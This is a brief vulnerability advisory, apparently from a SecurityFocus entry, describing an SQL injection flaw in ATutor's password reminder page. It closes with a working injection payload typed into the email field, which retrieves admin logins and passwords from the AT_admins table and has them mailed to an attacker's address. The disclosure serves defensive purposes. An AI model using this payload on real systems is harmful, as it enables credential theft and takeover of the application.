source: https://www.securityfocus.com/bid/14831/info

ATutor is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

go to http://www.example.com/atutor/password_reminder.php

and in the email field type:

' UNION SELECT login, password, 'your_email@example.com' FROM AT_admins /*